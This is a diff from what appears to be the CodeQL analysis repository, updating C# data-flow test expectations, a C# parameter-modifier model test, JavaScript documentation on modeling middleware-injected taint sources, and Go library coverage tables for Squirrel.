| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
| GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |

View File

@@ -461,46 +461,40 @@ edges
| GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | |
| GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | |
| GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | |
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | |
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | |
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | |
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | |
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | |
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | |
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | |
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | |
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | |
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | |
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | |
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | |
| GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | |
@@ -983,43 +977,37 @@ nodes
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
| GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
| GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |

View File

@@ -1034,3 +1034,40 @@ public class AvoidDuplicateLifted
}
}
}
public class ParameterModifiers
{
// contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
// summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
public void Copy(object key, out object value)
{
value = key;
}
// contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
// summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
public void CopyToRef(object key, ref object value)
{
value = key;
}
// No summaries as we disregard flow from a parameter to itself.
// neutral=Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated
public void RefParamFlowToSelf(ref object value, bool b)
{
value = b ? value : null;
}
// neutral=Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated
public void RefParamUse(ref object value)
{
var b = value is null;
}
// contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated
// summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated
public object InReturn(in object v)
{
return v;
}
}

View File

@@ -349,6 +349,48 @@ Note that this flow is already recognized by the CodeQL JS analysis, but for thi
- The last column, **value**, indicates the kind of flow to add. The value **value** means the input value is unchanged as
it flows to the output.
Example: Modeling properties injected by a middleware function
--------------------------------------------------------------
In this example, we'll show how to model a hypothetical middleware function that adds a tainted value
on the incoming request objects:
.. code-block:: js
const express = require('express')
const app = express()
app.use(require('@example/middleware').injectData())
app.get('/foo', (req, res) => {
req.data; // <-- mark 'req.data' as a taint source
});
This can be achieved with the following data extension:
.. code-block:: yaml
extensions:
- addsTo:
pack: codeql/javascript-all
extensible: sourceModel
data:
- [
"@example/middleware",
"Member[injectData].ReturnValue.GuardedRouteHandler.Parameter[0].Member[data]",
"remote",
]
- Since we're adding a new taint source, we add a tuple to the **sourceModel** extensible predicate.
- The first column, **"@example/middleware"**, begins the search at imports of the hypothetical NPM package **@example/middleware**.
- **Member[injectData]** selects accesses to the **injectData** member.
- **ReturnValue** selects the return value of the call to **injectData**.
- **GuardedRouteHandler** interprets the current value as a middleware function and selects all route handlers guarded by that middleware. Since the current value is passd to **app.use()**, the callback subsequently passed to **app.get()** is seen as a guarded route handler.
- **Parameter[0]** selects the first parameter of the callback (the parameter named **req**).
- **Member[data]** selects accesses to the **data** property of the **req** object.
- Finally, the kind **remote** indicates that this is considered a source of remote flow.
Reference material
------------------
@@ -494,6 +536,12 @@ Components related to decorators:
- **DecoratedParameter** selects a parameter that is decorated by the current value.
- **DecoratedMember** selects a method, field, or accessor that is decorated by the current value.
Additionally there is a component related to middleware functions:
- **GuardedRouteHandler** interprets the current value as a middleware function, and selects any route handler function that comes after it in the routing hierarchy.
This can be used to model properties injected onto request and response objects, such as **req.db** after a middleware that injects a database connection.
Note that this currently over-approximates the set of route handlers but may be made more accurate in the future.
Additional notes about the syntax of operands:
- Multiple operands may be given to a single component, as a shorthand for the union of the operands. For example, **Member[foo,bar]** matches the union of **Member[foo]** and **Member[bar]**.

View File

@@ -21,7 +21,7 @@ errors,,,3,,,,,,,,,,,,,,,,,,,,,,,3,
expvar,,,6,,,,,,,,,,,,,,,,,,,,,,,6,
fmt,3,,16,,,,3,,,,,,,,,,,,,,,,,,,16,
github.com/ChrisTrenkamp/goxpath,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
github.com/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
github.com/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
github.com/Sirupsen/logrus,145,,,,,,145,,,,,,,,,,,,,,,,,,,,
github.com/antchfx/htmlquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
github.com/antchfx/jsonquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
@@ -77,7 +77,7 @@ github.com/kataras/iris/server/web/context,6,,,,,,,,6,,,,,,,,,,,,,,,,,,
github.com/kataras/jwt,5,,,,5,,,,,,,,,,,,,,,,,,,,,,
github.com/kelseyhightower/envconfig,,6,,,,,,,,,,,,,,,,,,,,6,,,,,
github.com/labstack/echo,3,12,2,,,,,,2,,,,,,,1,,,,,,,,12,,2,
github.com/lann/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
github.com/lann/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
github.com/lestrrat-go/jwx,2,,,,2,,,,,,,,,,,,,,,,,,,,,,
github.com/lestrrat-go/libxml2/parser,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
github.com/lestrrat/go-jwx/jwk,1,,,,1,,,,,,,,,,,,,,,,,,,,,,
@@ -106,7 +106,7 @@ google.golang.org/protobuf/internal/encoding/text,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
google.golang.org/protobuf/internal/impl,,,2,,,,,,,,,,,,,,,,,,,,,,,2,
google.golang.org/protobuf/proto,,,8,,,,,,,,,,,,,,,,,,,,,,,8,
google.golang.org/protobuf/reflect/protoreflect,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
gopkg.in/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
gopkg.in/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
gopkg.in/couchbase/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48,
gopkg.in/glog,90,,,,,,90,,,,,,,,,,,,,,,,,,,,
gopkg.in/go-jose/go-jose,3,,4,,2,1,,,,,,,,,,,,,,,,,,,,4,
1 package sink source summary sink:command-injection sink:credentials-key sink:jwt sink:log-injection sink:nosql-injection sink:path-injection sink:regex-use[0] sink:regex-use[1] sink:regex-use[c] sink:request-forgery sink:request-forgery[TCP Addr + Port] sink:sql-injection sink:url-redirection sink:url-redirection[0] sink:url-redirection[receiver] sink:xpath-injection source:commandargs source:database source:environment source:file source:remote source:stdin summary:taint summary:value
21 expvar 6 6
22 fmt 3 16 3 16
23 github.com/ChrisTrenkamp/goxpath 3 3
24 github.com/Masterminds/squirrel 32 27 32 27
25 github.com/Sirupsen/logrus 145 145
26 github.com/antchfx/htmlquery 4 4
27 github.com/antchfx/jsonquery 4 4
77 github.com/kataras/jwt 5 5
78 github.com/kelseyhightower/envconfig 6 6
79 github.com/labstack/echo 3 12 2 2 1 12 2
80 github.com/lann/squirrel 32 27 32 27
81 github.com/lestrrat-go/jwx 2 2
82 github.com/lestrrat-go/libxml2/parser 3 3
83 github.com/lestrrat/go-jwx/jwk 1 1
106 google.golang.org/protobuf/internal/impl 2 2
107 google.golang.org/protobuf/proto 8 8
108 google.golang.org/protobuf/reflect/protoreflect 1 1
109 gopkg.in/Masterminds/squirrel 32 27 32 27
110 gopkg.in/couchbase/gocb 8 22 48 8 22 48
111 gopkg.in/glog 90 90
112 gopkg.in/go-jose/go-jose 3 4 2 1 4

View File

@@ -31,7 +31,7 @@ Go framework & library support
`MongoDB Go Driver <https://www.mongodb.com/docs/drivers/go/current/>`_,``go.mongodb.org/mongo-driver*``,11,5,14
`Revel <http://revel.github.io/>`_,"``github.com/revel/revel*``, ``github.com/robfig/revel*``",46,20,4
`SendGrid <https://github.com/sendgrid/sendgrid-go>`_,``github.com/sendgrid/sendgrid-go*``,,1,
`Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",,,96
`Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",81,,96
